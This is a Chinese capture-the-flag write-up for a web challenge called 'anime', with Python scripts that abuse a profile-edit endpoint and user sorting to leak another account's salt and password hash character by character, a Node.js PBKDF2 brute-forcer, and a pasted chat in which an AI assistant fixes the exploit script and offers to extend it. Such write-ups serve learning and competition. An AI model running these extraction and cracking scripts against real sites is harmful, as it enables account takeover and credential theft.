anime
找到了原题[Writeup] - HCMUS CTF Quals (2025) | d4kw1n
先注册一个123/123,记下cookie
于是改一下脚本就能跑,这里要注意把 res = session.get(f"{URL}/users?limit=300&sort=salt", cookies=cookies)里的limit改大一点,不然出不来,因为这个是根据据排序爆出来的。然后具体数字可以在/users?limit=300&sort=salt手动调一下,感觉200就已经有全部人了。
import requests
from bs4 import BeautifulSoup
URL = "http://47.105.120.74:1006"
wordlist = [i for i in "0123456789abcdefghijklmnopqrstuvwxyz"]
session = requests.Session()
cookies = {
"session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiIxMjMifX0=",
"session.sig": "4YqRkiiyXyvor1PgLdsn1oAO9pg"
}
username = "123"
target = "TTXSMcc" # 你想泄露谁的 salt/hash 就改成谁
salt = ""
for index_salt in range(32):
for i in range(len(wordlist)):
data = {
"data.fullname": username,
"data.email": "",
"secret[$ne]": "null",
"salt": f"{salt}{wordlist[i]}"
}
session.post(f"{URL}/user/{username}/edit", data=data, cookies=cookies)
res = session.get(f"{URL}/users?limit=300&sort=salt", cookies=cookies)
soup = BeautifulSoup(res.text, 'html.parser')
users = [a.text.strip() for a in soup.find_all('a', class_='anime_title')]
if target in users and username in users:
# 如果你在目标后面 => 猜大了
if users.index(username) > users.index(target):
salt += wordlist[i - 1]
print(f"Found salt: {salt}")
break
print(f"Final salt: {salt}")
然后爆hash的话改一下参数和 range(32)=> range(64)就行
import requests
from bs4 import BeautifulSoup
URL = "http://47.105.120.74:1006"
wordlist = [i for i in "0123456789abcdefghijklmnopqrstuvwxyz"]
session = requests.Session()
cookies = {
"session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiIxMjMifX0=",
"session.sig": "4YqRkiiyXyvor1PgLdsn1oAO9pg"
}
username = "123"
target = "TTXSMcc" # 你想泄露谁的 salt/hash 就改成谁
hashed = ""
for index_salt in range(64):
for i in range(len(wordlist)):
data = {
"data.fullname": username,
"data.email": "",
"secret[$ne]": "null",
"hash": f"{hashed}{wordlist[i]}"
}
session.post(f"{URL}/user/{username}/edit", data=data, cookies=cookies)
res = session.get(f"{URL}/users?limit=300&sort=hash", cookies=cookies)
soup = BeautifulSoup(res.text, 'html.parser')
users = [a.text.strip() for a in soup.find_all('a', class_='anime_title')]
if target in users and username in users:
# 如果你在目标后面 => 猜大了
if users.index(username) > users.index(target):
hashed += wordlist[i - 1]
print(f"Found salt: {hashed}")
break
print(f"Final hash: {hashed}")
然后跑出来
salt = "c8eb3c22ae12612355a8b73d0e0ccbda";
target_hash ="2d37f432e875c5513a5d9967c3968ec8c29c9d2d75d86302b75488d275d48c97"
发现一直爆不出密码
然后看了看脚本发现是这里的问题
if users.index(username) > users.index(target):
salt += wordlist[i - 1]
当猜到最后一个字符时,i 对应 b,然后判断 username > target → 回退一位 i-1 = a。这个回退逻辑会导致最终结果比真实值小 1 个字母。
所以正确的是最后一位加1即可
salt = "c8eb3c22ae12612355a8b73d0e0ccbdb";
target_hash ="2d37f432e875c5513a5d9967c3968ec8c29c9d2d75d86302b75488d275d48c98"
最后用[Writeup] - HCMUS CTF Quals (2025) | d4kw1n里的脚本跑就行。
const crypto = require("crypto");
const salt = "c8eb3c22ae12612355a8b73d0e0ccbdb";
const target_hash ="2d37f432e875c5513a5d9967c3968ec8c29c9d2d75d86302b75488d275d48c98";
for (let i = 80000; i <= 99999; i++) {
const password = i.toString().padStart(5, "0");
const hash = crypto
.pbkdf2Sync(password, salt, 25000, 32, "sha256")
.toString("hex");
if (hash === target_hash) {
console.log("Found password:", password);
process.exit(0);
}
if (i % 1000 === 0) {
console.log("Tried:", password);
}
}
console.log("Password not found");
然后爆出密码是89195

登上后再将TTXSMcc的一个大写字母改成小写即可绕过缓存检查,拿到flag

跟ai的一些对话:
import requests URL = "http://47.105.120.74:1001/" wordlist = [i for i in "0123456789abcdefghijklmnopqrstuvwxyz"] session = requests.Session() cookies = { "session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiIxMjM0NTYifX0=;", "session.sig": "Mz8Ky6VfBy21_kz1IwuL-sCEdHI" } salt = "" for index_salt in range(32): for i in range(len(wordlist)): data = { "data.fullname": "123456", "data.email": "", "secret[$ne]": "null", "salt": f"{salt}{wordlist[i]}" } session.post(f"{URL}/user/abc/edit", data=data, cookies=cookies) res = session.get(f"{URL}/users?limit=1&sort=salt", cookies=cookies) if "Throughout Heaven and Earth, I alone am the honored one" in res.text: salt += wordlist[i - 1] print(f"Found salt: {salt}") break print(f"Final salt: {salt}") 这个有问题吗,我注册了一个123456/123456,然后cookie也是ta的你写得已经非常接近正确了 👍,不过这里确实有几处 细节问题 导致可能无法正常工作(或永远不进入
if)。我来帮你逐行分析,并告诉你如何改对。
🧩 问题分析
1️⃣ URL 拼写有误
你这里写的是:
URL = "http://47.105.120.74:1001/"而后面请求时拼上了:
session.post(f"{URL}/user/abc/edit", ...)结果实际请求路径会变成:
http://47.105.120.74:1001//user/abc/edit(多了一个
/)
虽然有些服务器能容忍,但有些 Express 路由会匹配失败。
✅ 建议写成:URL = "http://47.105.120.74:1001"
2️⃣ 你发 POST 的用户名和 cookie 不一致
你注册的账号是
123456/123456,
那说明当前登录的用户是123456。但是你发请求时却写:
session.post(f"{URL}/user/abc/edit", ...)这个
/user/abc/edit其实会被后端拒绝。
因为后端逻辑里检查了:if (user.data.username !== req.user.username) { throw new Error('No IDOR for u'); }也就是说,只能修改自己的账户。
✅ 改成:
session.post(f"{URL}/user/123456/edit", data=data, cookies=cookies)
3️⃣ Cookie 写法有误
你的 cookies 里这样写:
cookies = { "session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiIxMjM0NTYifX0=;", "session.sig": "Mz8Ky6VfBy21_kz1IwuL-sCEdHI" }注意
"session"的值后面多了一个分号;,
这会导致 cookie 解析失败(requests 会认为session的值包含分号)。✅ 改成:
cookies = { "session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiIxMjM0NTYifX0=", "session.sig": "Mz8Ky6VfBy21_kz1IwuL-sCEdHI" }
4️⃣ 判断条件不一定对
你写的判断条件是:
if "Throughout Heaven and Earth, I alone am the honored one" in res.text:这句话来自原题(Dat2Phit 那道),是某个用户简介或用户名。
⚠️ 但你这个新环境 可能目标用户名不同,所以这个条件不会触发。✅ 应该替换成你要对比的目标用户(例如目标是
admin或dat2phit):if "123456" not in res.text: # 如果自己被排在后面 salt += wordlist[i - 1] print(f"Found salt: {salt}") break或者,更严谨地解析 HTML 排序结果(用 BeautifulSoup 查找顺序),像这样:
from bs4 import BeautifulSoup res = session.get(f"{URL}/users?limit=10&sort=salt", cookies=cookies) soup = BeautifulSoup(res.text, 'html.parser') users = [a.text for a in soup.find_all('a', class_='anime_title')] if '目标用户名' in users and '123456' in users: if users.index('123456') > users.index('目标用户名'): salt += wordlist[i - 1] print(f"Found salt: {salt}") break
✅ 修正版脚本
import requests from bs4 import BeautifulSoup URL = "http://47.105.120.74:1001" wordlist = [i for i in "0123456789abcdefghijklmnopqrstuvwxyz"] session = requests.Session() cookies = { "session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiIxMjM0NTYifX0=", "session.sig": "Mz8Ky6VfBy21_kz1IwuL-sCEdHI" } username = "123456" target = "admin" # 你想泄露谁的 salt/hash 就改成谁 salt = "" for index_salt in range(32): for i in range(len(wordlist)): data = { "data.fullname": username, "data.email": "", "secret[$ne]": "null", "salt": f"{salt}{wordlist[i]}" } session.post(f"{URL}/user/{username}/edit", data=data, cookies=cookies) res = session.get(f"{URL}/users?limit=10&sort=salt", cookies=cookies) soup = BeautifulSoup(res.text, 'html.parser') users = [a.text.strip() for a in soup.find_all('a', class_='anime_title')] if target in users and username in users: # 如果你在目标后面 => 猜大了 if users.index(username) > users.index(target): salt += wordlist[i - 1] print(f"Found salt: {salt}") break print(f"Final salt: {salt}")
🚀 总结:你脚本的问题
问题点 原因 修复 URL 多了 /拼接路径错误 去掉末尾 //user/abc/edit只能改自己账号 改为 /user/123456/editCookie 含分号 破坏解析 去掉分号 判断字符串不匹配 不同题环境 改成解析排序或换关键字
要不要我帮你补上 hash 泄露 + 自动爆破部分,整成一个完整的可用脚本?